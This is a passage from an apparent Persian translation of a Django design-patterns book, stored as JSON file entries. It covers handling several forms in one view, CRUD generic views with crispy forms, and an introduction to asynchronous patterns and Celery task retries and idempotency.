POST را صادر کرده است. در اینجا از این که نام و مقدار دکمه Submit نیز ارسال می شود، بهره می بریم. اگر دکمه ارسال به صورت منحصر به فرد در فرم ها نامگذاری شده باشد، می توان فرم را در حین پردازش شناسایی کرد.\nدر اینجا ما یک SubscribeForm را با استفاده از فرم های ترد تعریف می کنیم تا بتوانیم دکمه Submit را نیز نامگذاری کنیم:\n\n```python\nclass SubscribeForm(forms.Form):\n    email = forms.EmailField()\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.helper = FormHelper(self)\n        self.helper.layout.append(Submit('subscribe_butn', 'Subscribe'))\n```\nکلاس UnSubscribeForm دقیقاً به همین صورت تعریف شده است (و از این رو حذف می شود)، با این تفاوت که نام دکمه Submit آن unsubscribe_butn است.\nاز آنجایی که FormView برای یک فرم طراحی شده است، ما از یک نمای ساده تری مبتنی بر کلاس، مثلا TemplateView، به عنوان پایه نمای خود استفاده خواهیم کرد. بیایید نگاهی به تعریف view و روش دریافت بیندازیم:\n\n```python\nfrom .forms import SubscribeForm, UnSubscribeForm\n\nclass NewsletterView(generic.TemplateView):\n    subcribe_form_class = SubscribeForm\n    unsubcribe_form_class = UnSubscribeForm\n    template_name = \"newsletter.html\"\n\n    def get(self, request, *args, **kwargs):\n        kwargs.setdefault(\"subscribe_form\", self.subcribe_form_class())\n        kwargs.setdefault(\"unsubscribe_form\", self.unsubcribe_form_class())\n        return super().get(request, *args, **kwargs)\n```\n\nاین دو فرم به‌عنوان آرگومان‌های کلیدواژه درج می‌شوند و در نتیجه وارد بافت قالب می‌شوند. ما نمونه‌های نامحدودی از هر یک از فرم‌ها را تنها در صورتی ایجاد می‌کنیم که قبلاً وجود نداشته باشند، با کمک روش دیکشنری setdefault. به زودی خواهیم دید که چرا. در مرحله بعد، ما نگاهی به روش POST خواهیم داشت، که ارسال ها را از هر دو فرم مدیریت می کند:\n\n```python\ndef post(self, request, *args, **kwargs):\n    form_args = {\n    'data': self.request.POST,\n    'files': self.request.FILES,\n    }\n        if \"subscribe_butn\" in request.POST:\n        form = self.subcribe_form_class(**form_args)\n        if not form.is_valid():\n            return self.get(request, subscribe_form=form)\n        return redirect(\"success_form1\")\n    elif \"unsubscribe_butn\" in request.POST:\n        form = self.unsubcribe_form_class(**form_args)\n        if not form.is_valid():\n            return self.get(request, unsubscribe_form=form)\n        return redirect(\"success_form2\")\n    return super().get(request)\n```\n\nابتدا، آرگومان های کلمه کلیدی فرم، مانند داده ها و فایل ها، در دیکشنری form_args پر می شوند. سپس وجود دکمه اشتراک فرم اول در request.POST بررسی می شود. اگر نام دکمه پیدا شد، اولین فرم نمونه سازی می شود.\n\nاگر فرم اعتبار سنجی ناموفق باشد، پاسخ ایجاد شده توسط متد GET با نمونه فرم اول برگردانده می شود. به همین ترتیب، ما به دنبال دکمه Unsubscribe فرم دوم می گردیم تا بررسی کنیم که آیا فرم دوم ارسال شده است یا خیر.\n\nنمونه هایی از یک فرم در نمای مشابه را می توان به همان روش با پیشوندهای فرم پیاده سازی کرد. شما می توانید یک فرم را با آرگومان پیشوندی مانند SubscribeForm (prefix=\"offers\") نمونه سازی کنید. چنین نمونه ای تمام فیلدهای فرم خود را با آرگومان داده شده پیشوند می کند و به طور موثر مانند فضای نام فرم کار می کند. به طور کلی، می توانید از پیشوندها برای جاسازی چند فرم در یک صفحه استفاده کنید.\n\n\n<b>الگو : نماهای CRUD </b><br>\n<br>مشکل</b>: نوشتن ساختار برای رابط های CRUD ، برای یک مدل تکراری می شود.\n<b>راه حل</b>: استفاده از ویوهای عمومی ادیت برمبنای کلاس (generic class-based editing views)\n<b>جزییات مشکل: </b><br>\nدر برنامه های کاربردی وب معمولی، بیشتر زمان صرف نوشتن رابط های CRUD در پایگاه داده می شود. به عنوان مثال، توییتر اساسا شامل ایجاد و خواندن توییت های یکدیگر است. در اینجا، یک توییت، شی پایگاه داده ای است که دستکاری و ذخیره می شود.\nنوشتن چنین رابط هایی از ابتدا می تواند خسته کننده باشد. اگر بتوان رابط های CRUD را به طور خودکار از خود کلاس مدل ایجاد کرد، این الگو به راحتی قابل مدیریت است.\n\n\n<b>راه حل مشکل: </b><br>\nجنگو فرآیند ایجاد نماهای CRUD را با مجموعه ای از چهار نمای کلی مبتنی بر کلاس ساده می کند. آنها را می توان به عملیات مربوطه خود به صورت زیر نگاشت کرد:\n- `CreateView:` نمای  یک فرم خالی برای ایجاد یک نمونه مدل جدید را نمایش می دهد .\n- `DetailView:` این نما جزئیات یک شی را با خواندن از پایگاه داده نشان می دهد .\n- `UpdateView:` این نما به شما امکان می دهد تا جزئیات یک شی را از طریق یک فرم از پیش پر شده به روز کنید \n- `DeleteView:` این نما یک صفحه تایید را نمایش می دهد و در صورت تایید، شی را از پایگاه داده حذف می کند.\n\nبیایید به یک مثال ساده نگاهی بیندازیم. ما مدلی داریم که حاوی تاریخ‌های مهم در مورد رویدادهای مورد علاقه همه افرادی است که از سایت ما استفاده می‌کنند. ما باید رابط های ساده CRUD بسازیم تا هر کسی بتواند این تاریخ ها را مشاهده و تغییر دهد. بیایید نگاهی به مدل ImportantDate تعریف شده در formschapter/models.py به شرح زیر بیندازیم:\n\n```python\nclass ImportantDate(models.Model):\n    date = models.DateField()\n    desc = models.CharField(max_length=100)\n\n    def get_absolute_url(self):\n    return reverse('impdate_detail', args=[str(self.pk)])\n```\n\nمتد get_absolute_url() توسط کلاس های CreateView و UpdateView برای تغییر مسیر پس از ایجاد یا به روز رسانی موفق شی استفاده می شود. به DetailView شی هدایت شده است.\nهمانطور که در کد زیر در formschapter/views.py نشان داده شده است، خود نماهای CRUD به اندازه کافی ساده هستند که قابل توضیح باشند:\n\n```python\nclass ImpDateDetail(generic.DetailView):\n    model = models.ImportantDate\n\nclass ImpDateCreate(generic.CreateView):\n    model = models.ImportantDate\n    form_class = ImportantDateForm\n\nclass ImpDateUpdate(generic.UpdateView):\n    model = models.ImportantDate\n    form_class = ImportantDateForm\n\nclass ImpDateDelete(generic.DeleteView):\n    model = models.ImportantDate\n    success_url = reverse_lazy(\"formschapter:impdate_list\")\n```\n\nدر این نماهای عمومی، کلاس مدل تنها عضو اجباری است که باید ذکر شود. با این حال، در مورد DeleteView، تابع success_url نیز باید ذکر شود. این به این دلیل است که پس از حذف، get_absolute_url دیگر نمی تواند برای یافتن اینکه کاربران را به کجا هدایت کنید استفاده شود.\n\nتعریف ویژگی form_class اجباری نیست. اگر حذف شود، یک متد ModelForm مطابق با مدل مشخص شده ایجاد می شود. با این حال، همانطور که در کد زیر در formschapter/forms.py نشان داده شده است، می‌خواهیم فرم مدل خود را برای استفاده از فرم‌های ترد ایجاد کنیم:\n\n\n```python\nfrom django import forms\nfrom . import models\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Submit\n\nclass ImportantDateForm(forms.ModelForm):\n    class Meta:\n        model = models.ImportantDate\n        fields = [\"date\", \"desc\"]\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.helper = FormHelper(self)\n        self.helper.layout.append(Submit('save', 'Save'))\n```\nبه لطف فرم‌های Crispy، برای ساختن این فرم‌های CRUD به کدنویسی HTML بسیار کمی در قالب‌های خود نیاز داریم.\n\nذکر صریح فیلدهای  ModelForm بهترین کار است. تنظیم فیلدها روی «__all__» ممکن است راحت باشد، اما می‌تواند به‌طور ناخواسته داده‌های حساس را به‌ویژه پس از افزودن فیلدهای جدید به مدل نشان دهد.\n\nمسیرهای قالب، به طور پیش فرض، بر اساس کلاس view و نام مدل هستند. برای اختصار، منبع الگو را در اینجا حذف کردیم. لطفاً به فهرست الگوها در برنامه formschapter در پروژه SuperBook مراجعه کنید. ما از همین فرم برای CreateView و UpdateView استفاده می کنیم.\nدر نهایت، نگاهی به formschapter/urls.py می اندازیم، جایی که همه چیز به هم متصل شده است:\n\n```python\npath('impdates/<int:pk>/',\n    views.ImpDateDetail.as_view(),\n    name=\"impdate_detail\"),\n\npath('impdates/create/',\n    views.ImpDateCreate.as_view(),\n    name=\"impdate_create\"),\n\npath('impdates/<int:pk>/edit/',\n    views.ImpDateUpdate.as_view(),\n    name=\"impdate_update\"),\n\npath('impdates/<int:pk>/delete/',\n    views.ImpDateDelete.as_view(),\n    name=\"impdate_delete\"),\n\npath('impdates/',\n    views.ImpDateList.as_view(),\n    name=\"impdate_list\"),\n```\n\nنماهای عمومی جنگو یک راه عالی برای شروع با ایجاد نماهای CRUD برای مدل های شما است. با چند خط کد، به جای اینکه خودتان این کار خسته کننده را انجام دهید، فرم های مدل و نماهایی که به خوبی آزمایش شده برای شما ایجاد می شوند، دریافت می کنید.\n\n## <b>خلاصه</b><br>\nدر این فصل، نحوه کار فرم‌های وب و نحوه انتزاع آن‌ها با استفاده از کلاس‌های فرم در جنگو را بررسی کردیم. ما همچنین به تکنیک ها و الگوهای مختلفی که برای صرفه جویی در زمان در حین کار با فرم ها استفاده می شود، نگاه کردیم.\n\nدر فصل بعدی، نگاهی به یک رویکرد سیستماتیک برای کار با پایگاه کد جنگو قدیمی خواهیم داشت، و اینکه چگونه می‌توانیم آن را برای برآورده کردن نیازهای مشتری در حال تکامل افزایش دهیم.\n"
  },
  {
    "path": "08-WorkingAsynchronously/README.md",
    "content": "# فصل 8 کارکردن به صورت ناهمزمان\n\n- چرا به ناهمزمانی نیاز داریم؟\n- الگوهای ناهمزمانی\n- کار کردن با Celery\n- فهم asyncio\n- ورود به channelها\n\nدر مواقع ساده‌تر، یک برنامه وب در جنگو یک فرآیند یکپارچه بزرگ بود که می‌توانست یک درخواست را مدیریت کرده و تا زمانی که پاسخی تولید نکرده است بقیه درخواست ها را مسدود کند.\n\nدر دنیای میکروسرویس ها اپلیکیشن ها مانند یک زنجیره پیچیده و اغلب بهم پیوسته تشکیل شده اند که هرکدام خدمات بخصوصی را ارائه می دهد. جنگو احتمالا مانند یک رابط در این جریان برنامه ها عمل می کند هماطور که Eliyahu Goldratt می گوید، \"این زنجیره به اندازه ضعیف ترین حلقه آن قوی است.» به عبارت دیگر، ماهیت همزمانی (syncronous) جنگو به طور بالقوه می تواند آن را به یک گلوگاه عملکرد تبدیل کند (می تواند نقطه ضعفی برای جنگو باشد).\n\nبرای همین راه حل های ناهمزمان (asynchronous) مختلفی برای این موضوع در نظر گرفته شده است که این راه حل ها می توانند به شما در حفظ زمان پاسخ (response time) سریع و اجرا کردن ماهیت ناهمزمان برنامه‌های امروزی کمک کنند.\n\n ## چرا ناهمزمانی؟\n\nمانند تمامی فریمورک های وب مبتنی بر WSGI جنگو یک فریمورک همزمان (synchronous) است. وقتی که یک کاربر به یک صفحه وب درخواستی (request) را می فرستد، درخواست از طریق یک View به جنگو می رسد و از خطوط مختلف کد عبور می کند تا صفحه وب رندر شده باز گردد. به خاطر اینکه تا زمانی که این مراحل اجرا شود بقیه درخواست ها متظر می مانند یا مسدود می شوند به آن همزمان (synchronous) می گویند.\n\nتوسعه‌دهندگان تازه وارد جنگو نگران ایجاد وظایف ناهمزمان (asynchronous tasks) نیستند، من متوجه شده ام که کد آن ها شامل کارهای زمانبر و کندی مانند پردازش تصویر یا حتی درخواست‌های پیچیده پایگاه داده است که منجر به کندی بارگذاری (load) صفحه می شود. در حالت ایده آل کارهای زمانبر باید از چرخه درخواست-پاسخ خارج شوند. زمان بارگذاری صفحه برای تجربه کاربری یک موضوع حیاتی است و باید برای جلوگیری از هرگونه تاخیر بهینه سازی شود.\n\nیکی دیگر از مشکلات اساسی این مدل همزمان (synchronous)، مدیریت رویدادهایی است که توسط درخواست های وب ایجاد نمی شوند.\n\nحتی اگر یک وب سایت هیچ بازدید کننده ای نداشته باشد، باید به فعالیت های مختلف تعمیر و نگهداری توجه کرد. آنها را می توان در یک زمان خاص مانند ارسال یک خبرنامه در نیمه شب جمعه، یا کارهای روزانه پشت صحنه (background tasks) مانند اسکن فایل های آپلود شده برای ویروس ها، برنامه ریزی کرد. برخی از وبسایت ها ممکن است به‌روزرسانی‌های همزمان یا اعلان‌های لحظه ای را از طریق WebSockets ارائه دهند که توسط مدل WSGI قابل مدیریت و پشتیبانی نباشد.\n\nبرخی از انواع معمول کارهای ناهمزمان (asynchronous tasks) عبارتند از:\n\n- ارسال ایمیل/اس ام اس تک یا انبوه\n- صدا زدن وب سرویس ها\n- کوئری های SQL پیچیده و کند\n- فعالیت ها logging\n- رمزگذاری یا رمزگشایی فایل های مدیا (encoding or decoding)\n- تجزیه مجموعه بزرگی از متن\n- وب اسکرپینگ\n- ارسال خبرنامه\n- تسک های یادگیری ماشین و پردازش تصویر ( Machine learning, Image processing)\n\nهمانطور که دیدید هر پروژه بزرگ جنگو  به یک زیرساخت برای مدیریت وظایف ناهمزمان نیاز دارد. ممکن است زمانی که ناهمزمانی را به کدتان بیاورید، با یک فرآیند، کدتان به مراتب سریع‌تر اجرا شود (برای مثالی چشمگیر از افزایش سرعت، به بخش _درک asyncio_ مراجعه کنید). این به این دلیل است که مادامی که منتظر انجام یک کار I/O بودید، بهتر است آن زمان صرف اجرای کارهای دیگر استفاده شود.\n\n## مشکلات کد ناهمزمان\n\nبرنامه نویسی ناهمزمان ممکن است بسیار وسوسه کننده به نظر برسد، اما تسلط بر آن بسیار دشوار است. \n\nچندین مشکل وجود دارد که باید از آنها آگاه باشید، مانند موارد زیر:\n\n- **حالت رقابتی(Race condition)**:  اگر دو یا چند نخ (thread) مقدار یک داده را تغییر دهند، ترتیب اجرای آنها می تواند بر مقدار نهایی تأثیر بگذارد. این مسابقه می تواند منجر به قرار گرفتن داده ها در وضعیت نامشخص شود.\n\n- **گرسنگی(Starvation)**: انتظار نامحدود توسط یک نخ (thread) به دلیل ورود موضوعات دیگر.\n\n- **بن بست(Deadlock)**:  اگر نخی منتظر یک منبع باشد که نخ دیگری در حال استفاده آن منبع است و بالعکس همزمان در حال استفاده از منبع باشند، هر دو رشته در یک بن بست گیر کرده اند.\n\n- **حفظ ترتیب(Order preservation)** : ممکن است وابستگی هایی بین بخش های کد وجود داشته باشد که هنگام تغییر ترتیب اجرا مشاهده نشود.\n\nدر پایتون، ممکن است اجتناب کامل از چنین اتفاقاتی غیرممکن باشد، اما می‌توانیم یکسری از روش های بهینه(best practice) ها را برای حذف آنها برای بیشتر اهداف عملی دنبال کنیم. این موارد در بخش _Celery best practices_ پوشش داده خواهند شد.\n\n## پترن ها و الگوهای ناهمزمانی(Asynchronous patterns)\n\nبیایید به الگوهای کلی مختلفی که در وب اپلیکیشن ها استفاده شده است نگاه کنیم.\n\n## الگوی پاسخ به اندپوینت(Endpoint callback pattern)\n\nدر این الگو زمانی که یک سرویس صدا زده می شود یک اندپوینتی مشخص می شود که پس از اتمام عملیات صدا زده می شود. این شبیه به مشخص کردن بازخوانی(callback) در برخی از زبان های برنامه نویسی مانند جاوا اسکریپت است. زمانی که به عنوان یک بازخوانی (callback) HTTP استفاده می شود به عنوان **webhook** شناخته می شود.\n\nیک فرآیند تقریباً به شرح زیر است:\n\n1. کلاینت یک سرویس را از طریق کانالی مانند REST، RPC یا UDP فراخوانی می کند. همچنین اندپوینتی را برای اطلاع از آماده شدن نتیجه فراهم می کند.\n\n2. فراخوانی(callback) بلافاصله بر میگردد\n\n3. زمانی که کار تکمیل شد، سرویس اندپوینت تعریف شده را فراخوانی می کند تا به فرستنده اطلاع دهد.\n\nبه یاد داشته باشید که ارائه دهنده یا گیرنده سرویس باید بتواند به فرستنده دسترسی داشته باشد. برای داده های حساس، باید نوعی احراز هویت برای شناسایی فرستنده و رمزگذاری برای محافظت از کانال در برابر سرقت دیتا وجود داشته باشد.\n\nاین الگو کاملاً محبوب است و توسط برنامه های وب مختلف مانند GitHub، PayPal، Twilio و غیره پیاده سازی شده است. این ارائه دهندگان سرویس معمولاً یک API برای مدیریت اشتراک در این WebHok دارند، مگر اینکه شما یک واسط برای انجام چنین کاری داشته باشید.\n\n## الگوی Publish-subscribe\n\nاین الگو شکل کلی تری نسبت به الگوی قبلی دارد. در اینجا، یک broker به عنوان یک واسطه بین فرستنده و گیرنده ها عمل می کند. درست است، چندین گیرنده می‌توانند در یک موضوع مشترک شوند، یعنی یک گروه منطقی نام‌گذاری شده از کانال‌هایی که توسط هر کسی منتشر شده است.\n\nدر این الگو، روند ارتباط به شرح زیر است:\n\n1. یک یا چند listener به broker اطلاع می دهند که علاقه مند به اشتراک گذاری یک موضوع هستند\n2. یک publisher پیامی را به broker تحت عنوان مربوطه ارسال می کند\n3. واسط (broker) پیام را به همه مشترکین (subscribers) ارسال می کند\n\n\nیک broker این امکان را دارد که فرستنده و گیرنده(sender and receiver) را به جهات مختلف جدا می کند. علاوه بر این، broker می تواند بسیاری از وظایف اضافی مانند کامل تبدیل فیلتر کردن پیام، را انجام دهد. این الگو کاملاً مقیاس پذیر است و از این رو در میان افزارهای(middleware) سازمانی محبوب است.\n\n ابزار Celery  از مکانیسم‌های انتشار/اشتراک (pub/sub) برای انتقال دیتای درونی خود استفاده می‌کند، مانند Redis در ارسال پیام.\n\n\n## الگوی Polling\n\nالگوریتم polling همانطور که از نامش پیداست  شامل بررسی دوره ای یک سرویس برای هر رویداد جدید توسط کلاینت است. این الگو در اغلب موارد نامناسب ترین ابزار برای ارتباط ناهمزمان (asynchronous) می باشد زیرا الگوی polling میزان استفاده از سرویس را افزایش می دهد و شرایط برای مقیاس پذیری سخت می شود. با این حال، ممکن است این تنها راه حل عملی در یک سیستم قدیمی باشد.\n\nیک سیستم polling به شرح زیر کار می کند:\n\n1. کلاینت یک سرویس را صدا می‌کند\n2. این صدازدن رویدادها و وضعیت جدیدی برای task بر می گرداند\n3. کلاینت منتظر می ماند و مرحله دوم را در فواصل زمانی تکرار می کند\n\n هنگام بازیابی وضعیت سرویس ممکن است درجاتی از تاخیر همزمان وجود داشته باشد. ممکن است کلاینت تا رسیدن ریسپانس مسدود شود. از این رو، گاهی اوقات از این الگو به عنوان **busy-waiting** یاد می شود.\n\n## راه حل های ناهمزمانی در جنگو\n\nبقیه این فصل سیستم‌های asynchronous محبوب زیر را که در کنار جنگو استفاده می‌شوند، با موارد استفاده متفاوت آن ها پوشش می‌دهد. آنها به شرح زیر فهرست شده اند:\n\n- ابزار Celery:  مدل worker مبتنی بر نخ برای انجام محاسبات در خارج\nاز یک فرآیند جنگو\n- ماژول asyncio: ماژول داخلی پایتون برای اجرای همزمان چندین کار در یک نخ\n- فریمورک django channel:  معماری مشابه صف پیام در زمان واقعی برای مدیریت رویدادهای I/O مانند WebSockets\n\nبیایید ابتدا محبوب ترین و قوی ترین راه حل برای اجرای وظایف به صورت ناهمزمان(asynchronous) را درک کنیم: Celery\n\n\n## کار کردن با  Celery\n\nابزار Celery یک مدیر صف تسک های ناهمزمان با ویژگی های غنی است. در اینجا، یک تسک به یک فراخوانی اشاره دارد که هنگام اجرا، فعالیت را به صورت ناهمزمان انجام می دهد. Celery توسط چندین سازمان معروف از جمله اینستاگرام و موزیلا برای انجام میلیون ها تسک که در طول روز تولید میشوند استفاده می شود.\n\nهنگام نصب Celery، باید اجزای مختلفی مانند broker و جایی برای ذخیره دیتا را انتخاب کنید. اگر گیج شده اید، توصیه می کنم Redis را نصب کنید و برای شروع از مکان ذخیره دیتا صرف نظر کنید. از آنجایی که Redis به صورت in-memorty کار می کند، اگر پیام های شما بزرگتر هستند و نیاز به ماندگاری دارند، باید به جای آن از RabbitMQ استفاده کنید. برای شروع می‌توانید مراحل اول با celery و استفاده از celery با جنگو را در راهنمای کاربر celery دنبال کنید.\n\n\nدر جنگو، تسک های Celery معمولاً در یک فایل جداگانه به نام tasks.py در کنار فایل های یک app می‌آید.\n\nدر اینجا یک کار ساده celery  می ببینید:\n\n```python\n# tasks.py\n@shared_task\ndef fetch_feed(feed_id):\n    feed_obj = models.Feed.objects.get(id=feed_id)\n    feed_obj.page = retrieve_page(feed_obj.feed_url)\n    feed_obj.retrieved = timezone.now()\n    feed_obj.save()\n‍‍‍\n```\nاین تسک محتوای یک فید RSS را بازیابی کرده و در پایگاه داده ذخیره می کند.\n\nبه نظر می رسد یک تابع عادی پایتون است (حتی اگر مربوط به یک کلاس باشد)، جز دکوریتور @shared_task. این یک تسک celery را مشخص می کند. یک تسک مشترک(shared task) می تواند توسط اپ های دیگر در همان پروژه استفاده شود. این کار با ایجاد نمونه های مستقل از کار در هر برنامه ثبت شده، قابل استفاده مجدد می کند.\n\nبرای فراخوانی این تسک می توانید از متد delay() به صورت زیر استفاده کنید:\n\n```python\n>>> from tasks import fetch_feed\n>>> fetch_feed.delay(feed_id=some_feed.id)\n```\n\nبرخلاف فراخوانی تابع عادی سریعا فانکشن اجرا نمی شود و بقیه درخواست ها تا زمانی که این تابع مقداری را برگرداند مسدود نمی شوند. در عوض بالافاصله یک آبجکت از نوع AsyncResult بر میگردد. این آبجکت می تواند برای بررسی وضعیت فانکشن و گرفتن مقدار بازگشتی تابع استفاده شود.\n\nبرای اینکه بفهمیم تابع ما چگونه و چه زمانی فراخوانی می شود، بیایید به نحوه عملکرد Celery نگاهی بیندازیم.\n\n## ابزار celery  چگونه کار می کند\nدرک celery به دلیل معماری توزیع شده آن تا حدودی دشوار است. در اینجا یک نمودار سطح بالا وجود دارد که یک کانفیگ ساده Django-Celery را نشان می دهد:\n\n![](/08-%20Working%20Asynchronously/images/image-000.png)\n\nزمانی که یک درخواست می رسد، می توان یک Celery task را برای رسیدگی به آن آن فعال کرد.Celery بلافاصله بدون مسدود کردن بقیه درخواست ها یک مقداری برمی‌گردد. در واقع، اجرای کار به پایان نرسیده است، اما یک پیام task وارد یک صف task (یا یکی از از صف های متعدد موجود) شده است.\n\nکارگران سلری(workers) فرآیندهای جداگانه ای هستند که بر صف ها نظارت می کنند که اگر یک task جدید رسید آن ها را اجرا کنند. آن ها انجام یک کار (task)  را برعهده میگیرند و یک پیام برگشت (acknowledgment) به صف میفرستند تا این task از صف ما حذف شود. سپس آن task را اجرا کنند پس از انجام این task این فرآیند تکرار می شود و worker یک task جدید را برای اجرا انتخاب می کند.\n\nیک worker می‌تواند هنگام اجرای یک کار زمانبر یا کارهایی که درگیر I/O هستند مسدود شود و دیگر task جدیدی قبول نکند، اما طراحی جنگو به گونه ایست این کار بر روی فرآیند خود جنگو تأثیر نمی‌گذارد. وقتی کار worker تکمیل شد می توان نتیجه task را در جایی ذخیره کرد در بسیاری از موارد ذخیره نتیجه پایان یک task اهمیتی ندارد و میتوان آن را نادیده گرفت.\n\nهمچنین می‌توان با استفاده از چیزی که Celery آن را فرآیند celery beat می‌نامد، یک کار را برنامه‌ریزی کرد. می‌توانید آن را طوری پیکربندی کنید که در بازه‌های زمانی معینی، مانند هر 10 ثانیه یا در شروع یک روز هفته، کاری را آغاز کند. این ویژگی برای کارهای تعمیر و نگهداری مانند تهیه نسخه پشتیبان یا بررسی سلامت یک سرویس وب عالی است.\n\nابزار Celery به خوبی پشتیبانی می‌شود، مقیاس‌پذیر است و به خوبی با جنگو کار می‌کند، اما ممکن است برای کارهای ناهمزمان بی‌اهمیت بیش از حد دست و پا گیر باشد. در چنین مواردی، من استفاده از کانال‌های جنگو یا RQ را توصیه می‌کنم، یک صف ساده‌تر مبتنی بر Redis. با این حال، best practiceهایی که در بخش بعدی مورد بحث قرار می‌گیرند، ممکن است در مورد آنها نیز اعمال شود.\n\n## Celery best practices\n\nشما دیده اید که چگونه Celery می تواند بار سنگین جنگو را تحمل کند، اما کار با Celery به دلیل مجموعه ویژگی های غنی آن کاملاً با جنگو متفاوت است. هزاران best practice درداکیومنت ها ذکر شده و در چندین وبلاگ به اشتراک گذاشته شده است.\n\nاگر قبلاً با مفاهیم آشنا هستید و می خواهید یک چک لیست سریع داشته باشید، چک لیست celery task را در http://celerytaskschecklist.com بررسی کنید. در غیر این صورت، برای درک اینکه چگونه از celery بهترین بهره را ببرید، این آموزش را ادامه دهید.\n\n### Handling failure\n\nهر نوع خطا می تواند هنگام اجرای یک task در Celery اتفاق بیفتند. باید مکانیزمی برای مدیریت این خطاها و تلاش مجدد باشد اگر این مکانیزم نباشد این خطاها شناسایی نمی شوند، اگر خطایی در کار رخ دهد موقتی است، مانند یک API (که خارج از کنترل ما است) یا تمام شدن حافظه. در چنین مواردی، بهتر است صبر کرد و دوباره کار را با فاصله های زمانی امتحان کرد.\n\nدر Celery، می‌توانید انتخاب کنید که به صورت خودکار یا دستی در صورت خطا آن تسک را دوباره امتحان کند.\nCelery تنظیم دقیق مکانیسم الگوریتم امتحان مجدد خودکار خود را آسان می کند. در مثال زیر، چندین پارامتر برای تلاش مجدد را مشخص می کنیم:\n\n```python\n@shared_task(autoretry_for=(GatewayError,),\n               retry_backoff=60,\n               retry_kwargs={'max_retries': 5},\n               retry_jitter=True)\n              def fetch_feed(feed_id):\n                  ...\n```\n\nآرگومان autoretry_for همه مواردی که در صورت خطا Celery باید به طور خودکار برای آنها امتحان کند فهرست می کند. در این مورد، فقط یک خطای GatewayError است. همچنین می توانید کلاس پایه خطا را در اینجا به autoretry_for  همه ی خطاها ذکر کنید.\n\nآرگومان retry_backoff مدت زمان انتظار اولیه را قبل از اولین تلاش مجدد،  (60 ثانیه) مشخص می کند. هر بار که تلاش مجدد با شکست مواجه می شود، دوره انتظار دو برابر می شود، بنابراین دوره انتظار به 120، 240 و 360 ثانیه تبدیل می شود تا زمانی که به حداکثر محدودیت تلاش مجدد 5 برسد.\n\nاین تکنیک انتظار طولانی‌تر و طولانی‌تر برای تلاش مجدد، exponential backoff نامیده می‌شود. این برای تعامل با یک سرور خارجی ایده آل است زیرا ما به سرور خارجی زمان کافی برای بازیابی می دهیم.\n\nیک نوسان تصادفی(آرگومان jitter) برای جلوگیری از مشکلی موسوم به  thundering herds  اضافه شده است. اگر تعداد زیادی از کارها الگوی تکرار مجدد یکسانی داشته باشند و در همان زمان منبعی را درخواست کنند، ممکن است آن را غیرقابل استفاده کند.\n\nاز این رو، یک عدد تصادفی به دوره انتظار اضافه می شود تا چنین اتفاقاتی رخ ندهد.\n\nدر اینجا مثالی از تلاش مجدد دستی در صورت خطا آورده شده است:\n\n```python\n@shared_task(bind=True)\n    def fetch_feed(self, feed_id):\n        ...\n        try:\n            ...\n        except (GatewayError) as exc:\n            raise self.retry(exc=exc)\n```\n\nبه آرگومان bind در دکوریتور و یک آرگومان self جدید برای task توجه کنید که یک آبجکت از task خواهد بود. اگر خطایی رخ داد، می‌توانید به صورت دستی دوباره متد self.retry صدا کنید. آرگومان exc برای ارسال اطلاعات خطا که می تواند در لاگ ها استفاده شود آمده است.\n\nآخرین موردی که باید بررسی کنید که کم اهمیت هم نیست این است است که تمام خطاها جایی ثبت شود. برای این کار می توانید از ماژول لاگ استاندارد پایتون یا تابع چاپ (که به لاگ ها هدایت می شود) استفاده کنید. از ابزاری مانند Sentry برای ردیابی و مدیریت خودکار خطا استفاده کنید.\n\n\n### تسک های خودتوان\n\nهمانطور که دیدیم، کارهای Celery ممکن است چندین بار مجدداً راه اندازی شوند، به خصوص اگر acknowledgment با تاخیر را فعال کرده باشید. این امر کنترل side effect  را یک کار مهم می کند. از این رو، celery توصیه می کند که همه کارها باید خودتوان باشد. خودتوان یک امر ریاضی است\nویژگی یک تابع که است که اطمینان می دهد اگر با همان آرگومان ها فراخوانی شود، بدون توجه به اینکه چند بار آن را فراخوانی کنید، همان نتیجه را برمی گرداند.\n\nممکن است نمونه‌های ساده‌ای از عملکردهای بی‌توان را در خود مستندات Celery دیده باشید، مانند این:\n\n```python\n@app.task def add(x, y):\n\n    return x + y\n```\nمهم نیست که چند بار این تابع را فراخوانی کنیم، نتیجه add(2,2) همیشه 4 است.\n\nبا این حال، درک تفاوت بین یک تابع خودتوان و تابعی که عوارض جانبی(side effect) ندارد (تابع خالص یا پوچ) مهم است. توابع خودتوان همواره یک عارضه جانبی(side effect) ثابت دارند ، صرف نظر از اینکه یک بار یا چند بار صدا زده شده اند\n\nبا این حال درک تفاوت یک یک فانکشن خود توان و یک فانکشن معمولی که side effects ندارد مهم است. موضوع side effects یک فانکشن خودتوان صرف نظر از اینکه چندبار صدا زده شود یکسان خواهد بود.\n\nبرای مثال، تسکی که همیشه هنگام فراخوانی یک آبجکت از نوع order ایجاد می کند، یک فانکشن خودتوان نیست، اما تسکی که یک سفارش موجود را لغو می کند، خودتوان است. عملیات هایی که فقط حالت اشیا را می خوانند و هیچ اثر جانبی(side effect) ندارند، یک فانکشن خودتوان نیستند.\n\nاز آنجایی که معماری celery متکی بر تسک های خودتوان است، مهم است که سعی کنید تمام عوارض جانبی یک تسکی که خودتوان نیست را مطالعه کنید و آن را به یک کار غیر خودتوان تبدیل کنید. می‌توانید این کار را با بررسی اینکه آیا تسک ها قبلاً اجرا شده‌اند (اگر اجرا شده‌اند، پس تسک حذف شده است) یا با بررسی اینکه آیا نتیجه تسک  در یک آدرس یونیک بر اساس آرگومان‌ها ذخیره شده است یا نه انجام دهید. در قسمت های بعدی کتاب (بخش Avoid writing to shared or global state) یک مثال ازین مورد آورده شده است.\n\nدر نتیجه، تسک خود را چندین بار صدا کنید تا بررسی کنید که آیا سیستم شما در همان حالت باقی می ماند یا خیر.\n\n### از عملیات نوشتن بر روی دیتابیس در فانکشن هایی به صورت shared یا global خودداری کنید\n\nدر یک سیستم همزمان، می توانید چندین خواننده داشته باشید. با این حال، لحظه‌ای که نویسندگان زیادی به یک وضعیت مشترک دسترسی پیدا می‌کنند، ممکن است دچار بن بست (deadlocks) یا شرایط رقابتی(race condition) آسیب‌پذیر می‌شوید. برای پرهیز از همه اینها کمی برنامه ریزی و نبوغ لازم است.\n\nابتدا بیایید سعی کنیم شرایط رقابتی(race condition) را درک کنیم. یک تسک celery به نام A را در نظر بگیرید که پردازش تصویر انجام می دهد (مانند تطبیق چهره شما با یک فرد مشهور). این 